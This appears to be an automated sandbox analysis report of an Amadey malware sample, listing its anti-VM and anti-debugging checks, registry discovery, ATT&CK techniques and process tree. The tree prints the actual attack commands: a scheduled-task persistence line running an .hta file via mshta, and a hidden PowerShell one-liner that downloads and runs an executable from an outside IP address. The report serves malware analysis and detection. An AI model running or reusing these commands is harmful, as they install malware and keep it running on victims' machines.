amadey | 380bd017cb49b4dc69065a7277f120ca8a98c4956df9d383a80ebc0b6459a136

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	TempZH1QWKLCKVSER7ZAVEYG6RTN19JZYNQV.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
18	5596	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5596	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
18	5596	powershell.exe

Checks BIOS information in registry 2 TTPs 10 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	TempZH1QWKLCKVSER7ZAVEYG6RTN19JZYNQV.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	TempZH1QWKLCKVSER7ZAVEYG6RTN19JZYNQV.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\Control Panel\International\Geo\Nation	TempZH1QWKLCKVSER7ZAVEYG6RTN19JZYNQV.EXE
Key value queried	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\Control Panel\International\Geo\Nation	mshta.exe

Executes dropped EXE 5 IoCs

pid	Process
952	TempZH1QWKLCKVSER7ZAVEYG6RTN19JZYNQV.EXE
2364	rapes.exe
5580	rapes.exe
4516	rapes.exe
6028	rapes.exe

Identifies Wine through registry keys 2 TTPs 5 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\Software\Wine	TempZH1QWKLCKVSER7ZAVEYG6RTN19JZYNQV.EXE

Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs

pid	Process
952	TempZH1QWKLCKVSER7ZAVEYG6RTN19JZYNQV.EXE
2364	rapes.exe
5580	rapes.exe
4516	rapes.exe
6028	rapes.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\rapes.job	TempZH1QWKLCKVSER7ZAVEYG6RTN19JZYNQV.EXE

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TempZH1QWKLCKVSER7ZAVEYG6RTN19JZYNQV.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rapes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2025-03-26_8c44b645c390b89b4a0d0bcdc9fe036a_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
2124	schtasks.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
5596	powershell.exe
5596	powershell.exe
952	TempZH1QWKLCKVSER7ZAVEYG6RTN19JZYNQV.EXE
952	TempZH1QWKLCKVSER7ZAVEYG6RTN19JZYNQV.EXE
2364	rapes.exe
2364	rapes.exe
5580	rapes.exe
5580	rapes.exe
4516	rapes.exe
4516	rapes.exe
6028	rapes.exe
6028	rapes.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5596	powershell.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
2748	2025-03-26_8c44b645c390b89b4a0d0bcdc9fe036a_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
2748	2025-03-26_8c44b645c390b89b4a0d0bcdc9fe036a_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
2748	2025-03-26_8c44b645c390b89b4a0d0bcdc9fe036a_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
2748	2025-03-26_8c44b645c390b89b4a0d0bcdc9fe036a_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
2748	2025-03-26_8c44b645c390b89b4a0d0bcdc9fe036a_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
2748	2025-03-26_8c44b645c390b89b4a0d0bcdc9fe036a_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 2748 wrote to memory of 2656	2748	2025-03-26_8c44b645c390b89b4a0d0bcdc9fe036a_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	86
PID 2748 wrote to memory of 2656	2748	2025-03-26_8c44b645c390b89b4a0d0bcdc9fe036a_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	86
PID 2748 wrote to memory of 2656	2748	2025-03-26_8c44b645c390b89b4a0d0bcdc9fe036a_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	86
PID 2748 wrote to memory of 5260	2748	2025-03-26_8c44b645c390b89b4a0d0bcdc9fe036a_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	87
PID 2748 wrote to memory of 5260	2748	2025-03-26_8c44b645c390b89b4a0d0bcdc9fe036a_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	87
PID 2748 wrote to memory of 5260	2748	2025-03-26_8c44b645c390b89b4a0d0bcdc9fe036a_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	87
PID 2656 wrote to memory of 2124	2656	cmd.exe	89
PID 2656 wrote to memory of 2124	2656	cmd.exe	89
PID 2656 wrote to memory of 2124	2656	cmd.exe	89
PID 5260 wrote to memory of 5596	5260	mshta.exe	91
PID 5260 wrote to memory of 5596	5260	mshta.exe	91
PID 5260 wrote to memory of 5596	5260	mshta.exe	91
PID 5596 wrote to memory of 952	5596	powershell.exe	95
PID 5596 wrote to memory of 952	5596	powershell.exe	95
PID 5596 wrote to memory of 952	5596	powershell.exe	95
PID 952 wrote to memory of 2364	952	TempZH1QWKLCKVSER7ZAVEYG6RTN19JZYNQV.EXE	96
PID 952 wrote to memory of 2364	952	TempZH1QWKLCKVSER7ZAVEYG6RTN19JZYNQV.EXE	96
PID 952 wrote to memory of 2364	952	TempZH1QWKLCKVSER7ZAVEYG6RTN19JZYNQV.EXE	96

C:\Users\Admin\AppData\Local\Temp\2025-03-26_8c44b645c390b89b4a0d0bcdc9fe036a_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
"C:\Users\Admin\AppData\Local\Temp\2025-03-26_8c44b645c390b89b4a0d0bcdc9fe036a_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2748
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /create /tn NjnzdmaLHJS /tr "mshta C:\Users\Admin\AppData\Local\Temp\sARuwSHXw.hta" /sc minute /mo 25 /ru "Admin" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2656
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn NjnzdmaLHJS /tr "mshta C:\Users\Admin\AppData\Local\Temp\sARuwSHXw.hta" /sc minute /mo 25 /ru "Admin" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:2124
- C:\Windows\SysWOW64\mshta.exe
  mshta C:\Users\Admin\AppData\Local\Temp\sARuwSHXw.hta
  2⤵
  - Checks computer location settings
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5260
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'ZH1QWKLCKVSER7ZAVEYG6RTN19JZYNQV.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Downloads MZ/PE file
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5596
  - - C:\Users\Admin\AppData\Local\TempZH1QWKLCKVSER7ZAVEYG6RTN19JZYNQV.EXE
      "C:\Users\Admin\AppData\Local\TempZH1QWKLCKVSER7ZAVEYG6RTN19JZYNQV.EXE"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Checks computer location settings
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:952
    - - C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
        
        "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:2364

C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:5580

C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:4516

C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:6028

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Virtualization/Sandbox Evasion

Credential Access

Discovery

Query Registry

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion